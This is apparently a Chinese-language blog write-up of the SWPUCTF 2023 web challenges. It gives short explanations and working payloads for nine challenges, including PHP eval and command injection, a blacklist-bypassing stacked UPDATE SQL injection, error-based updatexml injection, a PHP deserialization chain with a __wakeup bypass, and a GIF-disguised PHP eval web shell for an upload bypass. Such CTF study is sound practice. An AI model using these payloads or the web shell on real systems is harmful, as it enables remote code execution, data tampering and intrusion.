swpuctf 2023

发布时间 2023-12-02 21:03:21作者: y2xsec

web

0x01 If_else

注释掉然后构造payload就可以了。
payload:url?check=1){eval(system("cat /flag"));}/*

0x02 RCE-PLUS

rce没有回显,那就重定向到文件访问就可以了。
payload:url?cmd=cat /f*>1.txt

0x03 Pingpingping

php特性,“]”后面的“.”不会被转换。
payload:url?Ping[ip.exe=127.0.0.1;cat /flag

0x04 一键连接!

全部数组绕过,然后data伪协议判断条件,最后执行命令。
payload:
get:url?md5_1[]=1&md5_2[]=0&sha1_1[]=1&sha1_2[]=0&new_player=data://text/plain,Welcome to NSSCTF!!!
post:Nss=system("cat /flag");

0x05 NSS大卖场

sql更新注入,在路径/buy下可以传一个参数
/buy/1,网页就会报错/buy/1',可以回显黑名单

SELECT|select|UPDATE|update|WHERE|where| |or|AND|and|ORDER|order|BY|by|--|<|>|!

这些都是被过滤的,然后网页的hint可以下载数据库的备份文件

CREATE TABLE `items`  (
  `id` int(11) NOT NULL,
  `name` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  `price` int(11) NOT NULL,
  `have` int(11) NOT NULL,
  `info` longtext CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------

-- Records of items

-- ----------------------------

INSERT INTO `items` VALUES (1, 'X尼小熊', 999, 0, '...');
INSERT INTO `items` VALUES (2, 'ICBM火', 999, 0, '...');
INSERT INTO `items` VALUES (3, 'Haruki拖鞋', 999, 0, '...');
INSERT INTO `items` VALUES (4, 'WD鸽毛', 999, 0, '...');
INSERT INTO `items` VALUES (5, '谢队出狱图', 999, 0, '...');
INSERT INTO `items` VALUES (6, 'SC学姐', 999, 0, '...');
INSERT INTO `items` VALUES (7, '探姬女装', 999, 0, '...');
INSERT INTO `items` VALUES (8, 'FLAG', 999999999, 0, 'flag is here');

这里的思路就是利用update语句修改items表里的price字段就可以购买flag了。
绕过黑名单大小写绕过,空格就用%09绕过。
payload:url/buy/1';UPdATE%09items%09SeT%09price=1;#

0x06 NSS_HTTP_CHEKER

http请求头,不难。

get:?this_is_get=get_%1t
post:this_is_post=p03t
cookie:this_is_cookie=cookie_suki_desu~
ua:NSSCTF
xff:127.0.0.1

0x07 UnS3rialize

常规的反序列化,但是最后那里需要绕过wakeup,修改"F":3,把 3 改为 4 就可以了。

poc如下:

<?php
class NSS
{
    public $cmd;
}
class C
{
    public $whoami;
}
class T
{
    public $sth;
}
class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
}
$ser = new F();
$ser->user = "SWPU";
$ser->passwd = "NSS";
$ser->notes = new T();
$ser->notes->sth = new C();
$ser->notes->sth->whoami = new NSS();
$ser->notes->sth->whoami->cmd = "ls";
$a = 'O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:7:"cat /f*";}}}}';
echo base64_encode($a);
// O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:4:"NSS":1:{s:3:"cmd";s:2:"ls";}}}}

payload:url?ser=TzoxOiJGIjo0OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ==

0x08 ez_talk

传个shell,然后检测文件类型和内容,修改填充一下就好了。

Content-Type: image/png
GIF89a
<?php eval($_POST[x]);

0x09 查查need

sqlmap一把梭,或者手工注入,flag是grade最大的一个值。
payload:student_id=1"+and+updatexml(1,concat(0x7e,(select+mid(MAX(grade),25)+from+school.students),0x7e),1)--+